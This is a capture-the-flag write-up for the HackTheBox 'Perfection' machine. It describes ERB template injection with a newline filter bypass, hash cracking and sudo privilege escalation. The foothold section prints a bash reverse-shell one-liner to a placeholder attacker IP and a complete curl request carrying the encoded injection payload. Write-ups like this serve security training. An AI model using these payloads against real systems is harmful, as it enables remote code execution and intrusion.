HTB: Perfection Writeup

Machine Information
| Attribute | Details | |
|---|---|---|
| Name | Perfection | |
| OS | Linux | |
| Difficulty | Easy | |
| Points | 20 | |
| Release Date | 2024 | |
| IP Address | perfection.htb | |
| Author | Contributor | |
Machine Rating
⭐⭐⭐⭐☆ (7.5/10)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐⭐☆
- SSTI/Exploitation: ⭐⭐⭐⭐☆
- Password Cracking: ⭐⭐⭐☆☆
Summary
Perfection is an Easy-difficulty Linux machine running a weighted calculator application built with WEBrick (Ruby web server). The machine showcases Server-Side Template Injection (SSTI) vulnerabilities, input filtering bypass techniques, and password cracking using masked attacks. The exploitation path involves discovering SSTI in the calculator’s category parameter, bypassing filters with newline encoding, injecting ERB templates for remote code execution, extracting credentials from a SQLite database, cracking password hashes with hashcat using custom mask attacks, and finally achieving privilege escalation through misconfigured sudo permissions.
TL;DR: Web Enumeration → SSTI via Filter Bypass → RCE as susan → Database Credential Extraction → Hashcat Mask Attack → SSH Access → Privilege Escalation via sudo.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- perfection.htbResults:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)80/tcp open http WEBrick 1.7.0 (Ruby 3.0.0 (2020-12-25))Service Enumeration
Hostname: perfection.htb
echo "10.10.10.130 perfection.htb" >> /etc/hostscurl -v http://perfection.htb/Service Details:
- Port 22: OpenSSH for remote access
- Port 80: WEBrick 1.7.0 (Ruby web server) hosting a weighted calculator application
Web Application Analysis
Manual testing of the weighted calculator revealed a form accepting:
- Category parameter (vulnerable to SSTI)
- Grade/score inputs
- Weight inputs
The application processes these inputs through ERB templates, enabling template injection attacks.
Directory and Subdomain Enumeration
gobuster dir -u http://perfection.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txtferoxbuster -u http://perfection.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txtFinding: Standard directories and subdomains returned no additional useful endpoints. The vulnerability resides in the calculator form input handling.
Initial Foothold
Server-Side Template Injection (SSTI) Discovery
The weighted calculator’s category parameter was identified as vulnerable to SSTI. The application filters certain characters but can be bypassed using newline encoding (%0A).
Exploitation: Filter Bypass with Newline Injection
Attack Vector:
The application implements a basic filter for dangerous characters. By injecting a newline (%0A), we can break out of the filter’s scope and inject arbitrary Ruby/ERB code.
Payload Construction:
First, create a base64-encoded reverse shell payload:
# Create reverse shell command (adjust ATTACKER_IP and PORT)bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
# Encode in base64echo "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1" | base64SSTI Injection:
category1=a///A77ss/e%0A;<%25%3d+system("echo+BASE64_PAYLOAD+|+base64+-d+|+bash")+%25>This payload:
- Bypasses the filter with the newline character (
%0A) - Injects ERB template code (
<%= system(...) %>) - Decodes and executes the base64-encoded reverse shell
- Returns code execution as the
susanuser
Manual Exploitation:
# Set up listener on attacker machinenc -lvnp 4444
# Send crafted request to vulnerable parametercurl "http://perfection.htb/weighted_calculator" \ -d "category1=a///A77ss/e%0A;<%25%3d+system(\"echo+YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=+|+base64+-d+|+bash\")+%25>&grade1=50&weight1=10"Shell Stabilization
Once initial shell access is obtained:
# Stabilize shell with Pythonpython3 -c 'import pty; pty.spawn("/bin/bash")'export TERM=xtermstty raw -echo; fgOr using traditional method:
# Ctrl+Z to suspendstty raw -echofgexport TERM=xtermResult: Remote code execution as user susan on the target system.
User Compromise
Credential Extraction from SQLite Database
After gaining shell access as susan, enumeration revealed a SQLite database containing user credentials:
# Locate the databasefind / -name "*.db" -type f 2>/dev/nullls -la /home/susan/Migration/
# Connect to SQLite databasesqlite3 /home/susan/Migration/pupilpath_credentials.db
# List tables.tables
# Extract credentialsSELECT * FROM users;Database Content:
The pupilpath_credentials.db contains SHA-256 password hashes for multiple users. Extracted hash for user susan.
Initial Hash Cracking Attempt
# Standard rockyou wordlist attack (failed)hashcat -m 1400 susan_hash.txt /usr/share/wordlists/rockyou.txtResult: No match found with rockyou wordlist.
Password Format Discovery
Further enumeration revealed /var/mail/susan containing a hint about password structure:
cat /var/mail/susanHint: Password format follows the pattern: {firstname}_{firstname_reversed}_{random_number_1_to_1000000000}
For user susan, the format is: susan_nasus_{8-9 digit random number}
Hashcat Mask Attack
Using the discovered password format, a targeted mask attack was employed:
# Create hash file with susan's SHA-256 hashecho "SUSAN_SHA256_HASH" > susan_hash.txt
# Perform mask attack with custom formathashcat -m 1400 susan_hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
# Where ?d = digit (0-9)Result: Password cracked successfully.
Cracked Password: susan_nasus_413759210
SSH Access
ssh susan@perfection.htb# Enter password: susan_nasus_413759210Access Confirmed: SSH session established as user susan.
User Flag
cat ~/user.txt🚩 User Flag: <REDACTED>
Privilege Escalation
Enumeration
# Check sudo permissionssudo -l
# Output:# Matching Defaults entries for susan on perfection:# env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin## User susan may run the following commands on perfection:# (ALL : ALL) ALLFinding: User susan has unrestricted sudo privileges — can run any command as root without password authentication.
Exploitation: Direct Root Access
# Execute privileged commandsudo su -
# Or directly invoke root shellsudo /bin/bashResult: Immediate root shell access with UID 0.
Verification
id# uid=0(root) gid=0(root) groups=0(root)Root Flag
cat /root/root.txt🚩 Root Flag: <REDACTED>
Attack Chain Summary
graph TD A["Target: perfection.htb:80"] --> B["Identify WEBrick/Ruby Web Server"] B --> C["Discover SSTI in Calculator Form"] C --> D["Bypass Input Filter with Newline Injection"] D --> E["Execute ERB Template Injection"] E --> F["Reverse Shell as susan User"] F --> G["Extract SQLite Database Credentials"] G --> H["Identify Password Format from Mail"] H --> I["Crack Hash with Hashcat Mask Attack"] I --> J["SSH Access as susan"] J --> K["Check Sudo Permissions"] K --> L["Execute: sudo su -"] L --> M["Root Shell Access"] M --> N["Capture Root Flag"]Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service fingerprinting |
gobuster | Directory enumeration |
feroxbuster | Recursive directory brute-forcing |
curl | HTTP request crafting for SSTI payload delivery |
nc | Reverse shell listener setup |
python3 | Shell stabilization (pty spawn) and scripting |
sqlite3 | SQLite database examination and credential extraction |
hashcat | Password hash cracking with mask attacks (-a 3) |
ssh | Secure shell access with cracked credentials |
strings | Binary/database content analysis |
base64 | Payload encoding/decoding |
bash | Shell access and command execution |
Vulnerability Reference
| # | Vulnerability | Component | Severity | Impact |
|---|---|---|---|---|
| 1 | Server-Side Template Injection (SSTI) | WEBrick Calculator Form | Critical | Remote Code Execution as web server user |
| 2 | Input Filter Bypass | Category Parameter | High | Newline injection (%0A) allows filter circumvention |
| 3 | Weak Password Hashing | SQLite Database | High | Passwords stored as SHA-256 without salt |
| 4 | Predictable Password Format | User Hint File | Medium | Password pattern leaked in email hint |
| 5 | Unrestricted Sudo Permissions | sudoers Configuration | Critical | User susan can execute any command as root |
| 6 | Improper Error Handling | Web Application | Medium | SSTI error messages exposed template engine |
Key Learnings
-
SSTI Exploitation Requires Filter Analysis
- Server-Side Template Injection vulnerabilities can be bypassed with encoding tricks (e.g., newline injection)
- Understanding the filtering logic is essential to craft payloads that bypass restrictions
- ERB template syntax in Ruby applications presents critical RCE risks
-
Credential Extraction from Application Data
- Web applications often interact with local databases (SQLite, MySQL, etc.)
- Compromised application servers provide access to credentials for horizontal movement
- Database enumeration should be prioritized during post-exploitation
-
Password Cracking with Contextual Information
- Hints about password structure (found in system files, emails, documentation) dramatically improve cracking efficiency
- Hashcat mask attacks (
-a 3) are more effective than wordlist attacks when password patterns are known - Information leakage in log files and mail can reveal password generation schemes
-
Sudo Misconfiguration as Privilege Escalation
sudo -lshould always be checked immediately after gaining user shell- Unrestricted sudo permissions
(ALL : ALL) ALLprovide instant root access - Sudo misconfigurations are often overlooked but are the quickest path to privilege escalation
-
Shell Stabilization for Interactive Access
- Initial reverse shells may lack interactive features (terminal control, signal handling)
- Using
python3 -c 'import pty; pty.spawn("/bin/bash")'provides proper TTY allocation - Setting
TERM=xtermand usingstty raw -echoenables full shell functionality
-
Enumeration Beyond Standard Vulnerability Scanning
- Automated tools (nmap, gobuster) found nothing unusual
- Manual testing of web forms revealed the critical SSTI vulnerability
- HTB machines often require thoughtful, targeted testing rather than script-dependent enumeration
Author
Security Researcher - HackTheBox Community
Disclaimer
This writeup is for educational purposes only. All activities described were performed in a controlled, legal environment (HackTheBox platform). Unauthorized access to computer systems is illegal. The techniques and exploits documented here should only be used in authorized penetration testing engagements and training environments with explicit permission.
Last Updated: 08 Mar 2026
Tags: #HackTheBox #Linux #Easy #SSTI #TemplateInjection #ERB #RubyOnRails #Hashcat #CredentialExtraction #PrivEsc